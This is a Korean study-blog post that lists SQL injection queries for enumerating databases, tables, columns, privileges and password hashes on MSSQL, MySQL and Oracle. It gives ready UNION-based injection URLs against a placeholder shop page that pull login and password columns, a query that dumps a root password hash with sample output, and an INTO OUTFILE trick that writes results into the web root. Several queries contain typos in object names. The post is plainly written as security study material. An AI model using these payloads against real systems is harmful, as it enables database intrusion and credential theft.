일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | ||||||
2 | 3 | 4 | 5 | 6 | 7 | 8 |
9 | 10 | 11 | 12 | 13 | 14 | 15 |
16 | 17 | 18 | 19 | 20 | 21 | 22 |
23 | 24 | 25 | 26 | 27 | 28 |
- 웹 기초
- HTTP request smuggling
- BOM 객체
- SQL 인젝션
- nginx
- Injection 숫자형
- SQL having group by
- sql injection
- sql injection table name
- JavaScript
- portswigger academy
- 웹 보안
- web 취약점
- web 보안
- Injection 취약점
- SQL Injection basic
- 웹 해킹 기초
- Injection 공격 기초
- sql 인젝션 기초
- SQL 주석
- Union injection
- http 취약점
- Linux
- DOM 객체
- 웹서버구축
- 공부하는 블로그
- JS
- sql injection 데이터 추출
- php-fpm
- SQL INJECTION DB NAME
- Today
- Total
IMLENA
SQL Injection - DB 스키마 열거 본문
DB 별로 테이블, 컬럼, 데이터를 추출하는 방법
MSSQL
DB 목록을 출력하기 위한 구문
select name from mster..sysdatabases;
실제 요청
test.com/shop.php?id=10 union select null,name,null,null from master..sysdatabases
* 그외
SELECT DB_NAME() : 현재 DB 명
SELECT DB_NAME(2) : DB id가 2인 DB명 반환
해당 구문으로 웹에서 사용중인 DB명을 확인 후 테이블명 추출
catmall 이라는 DB의 테이블을 출력하기 위한 구문
select name from catmall..sysdobjects where xtype='U';
#번외 xtype
xtype=object type
C=CHECK 제약 조건
D=기본값 또는 DEFAULT 제약조건
F=FOREIGN KEY 제약조건
L=로그
S=시스템 테이블
V=뷰
U=사용자테이블
실제 요청
test.com/shop.php?id=10 union select null,name,null,null from catmall..sysobjects where xtype='U'--
catmall DB의 테이블 명을 확인 한 뒤 테이블의 컬럼명 확인하기
컬럼을 확인하기 위한 구문
Select name from catmall..syscolumns where id=(select id from catmall..sysobjects where name= 'customers')
or
Select a.name from catmall..sycolumns a,catmall..sysobjects b where b.name = 'customers' and a.id=b.id;
테이블에서 알아낸 컬럼명으로 데이터 추출
test.com/shop.php?id=10 union select null,login,password,null from catmall..customers--
MySQL
*사용자 계정
select user();
select current_user();
DB에 존재하는 데이터베이스명 출력
mysql> select distinct(db) from mysql.db; +--------------------+ | db | +--------------------+ | performance_schema | | sys | +--------------------+ 2 rows in set (0.01 sec) mysql> select schema_name from information_schema.schemata; +--------------------+ | SCHEMA_NAME | +--------------------+ | mysql | | information_schema | | performance_schema | | sys | | sakila | | world | | test | | catmall | +--------------------+ 8 rows in set (0.02 sec) |
catmall 데이터베이스에서 테이블명 추출
mysql> select table_schema,table_name from information_schema.columns where table_schema = 'catmall'; +--------------+------------+ | TABLE_SCHEMA | TABLE_NAME | +--------------+------------+ | catmall | customers | | catmall | customers | | catmall | customers | | catmall | customers | | catmall | customers | +--------------+------------+ 5 rows in set (0.00 sec) |
컬럼 명 확인
mysql> select table_schema,table_name,column_name from information_schema.columns where table_schema = 'catmall'; +--------------+------------+-------------+ | TABLE_SCHEMA | TABLE_NAME | COLUMN_NAME | +--------------+------------+-------------+ | catmall | customers | no | | catmall | customers | id | | catmall | customers | pw | | catmall | customers | name | | catmall | customers | profile | +--------------+------------+-------------+ 5 rows in set (0.00 sec) |
# DB사용자에 대한 권한 목록화
mysql> select grantee, privilege_type, is_grantable from information_schema.user_privileges; +--------------------------------+----------------------------+--------------+ | grantee | privilege_type | is_grantable | +--------------------------------+----------------------------+--------------+ | 'mysql.infoschema'@'localhost' | SELECT | NO | | 'mysql.infoschema'@'localhost' | SYSTEM_USER | NO | | 'mysql.session'@'localhost' | SHUTDOWN | NO | | 'mysql.session'@'localhost' | SUPER | NO | | 'mysql.session'@'localhost' | BACKUP_ADMIN | NO | | 'mysql.session'@'localhost' | CLONE_ADMIN | NO | | 'mysql.session'@'localhost' | CONNECTION_ADMIN | NO | | 'mysql.session'@'localhost' | PERSIST_RO_VARIABLES_ADMIN | NO | | 'mysql.session'@'localhost' | SESSION_VARIABLES_ADMIN | NO | | 'mysql.session'@'localhost' | SYSTEM_USER | NO | | 'mysql.session'@'localhost' | SYSTEM_VARIABLES_ADMIN | NO | | 'mysql.sys'@'localhost' | USAGE | NO | | 'mysql.sys'@'localhost' | SYSTEM_USER | NO | | 'root'@'localhost' | SELECT | YES | |
* 기타
select database(); - 현재 데이터 베이스명
select @@datadir; - 데이터 디렉토리
ORACLE
현재 사용자에 속한 테이블 목록
select table_name from user_tables;
현재사용자에 대한 system 권한 획득
select * from user_sys_privs; --show system privileges of the current user;
현재사용자에 대한 role 권한 획득
select * from user_role_privs; --show role privileges of the current user;
현재 사용자에 대한 table 권한 획득
select * from user_tab_privs;
현재사용자에 대한 column
select * from user_cool_privis;
모든 가능한 권한의 목록을 얻기위해서는 user_를 all_로 변경하여 사용하면 된다.
#패스워드 해쉬 확인
SQL Server
select password_hash from sys.sql_logins
MySQL
mysql> select host, user, authentication_string from user; +-----------+------------------+------------------------------------------------------------------------+ | host | user | authentication_string | +-----------+------------------+------------------------------------------------------------------------+ | localhost | mysql.infoschema | $A$005$THISISACOMBINATIONOFINVALIDSALTANDPASSWORDTHATMUSTNEVERBRBEUSED | | localhost | mysql.session | $A$005$THISISACOMBINATIONOFINVALIDSALTANDPASSWORDTHATMUSTNEVERBRBEUSED | | localhost | mysql.sys | $A$005$THISISACOMBINATIONOFINVALIDSALTANDPASSWORDTHATMUSTNEVERBRBEUSED | | localhost | root | $A$005$Q#%.gm>+#S2%jmQTMwikf8K/gPeJe1aJkZU9VsK3.76B550EeGHL2sqrz/ | +-----------+------------------+------------------------------------------------------------------------+ 4 rows in set (0.00 sec) |
#번외
MySQL - select 구문의 결과를 파일로 보내기
select table_name from information_schema.tables INTO OUTFILE '/webroot/tables.txt';
이후 test.com/tables.txt 로 접근하면 해당 파일에 내용을 확인 할 수 있다.
*데이터 베이스별 injection 구문 정리*
https://portswigger.net/web-security/sql-injection/cheat-sheet
'WEB' 카테고리의 다른 글
SQL Injection 기초 - 일반적인 SQL 인젝션 공격 (0) | 2021.09.03 |
---|---|
SQL Injection 기초 - MS/ORACLE/MY SQL , 시간지연, 주석 등 (0) | 2021.09.03 |
HTTP request smuggling 취약점 3 - exploit, mitigation (0) | 2021.09.03 |
SQL Injection 기초 - DB Error 기준 (0) | 2021.09.02 |
HTTP request Smuggling 취약점 2 (0) | 2021.09.02 |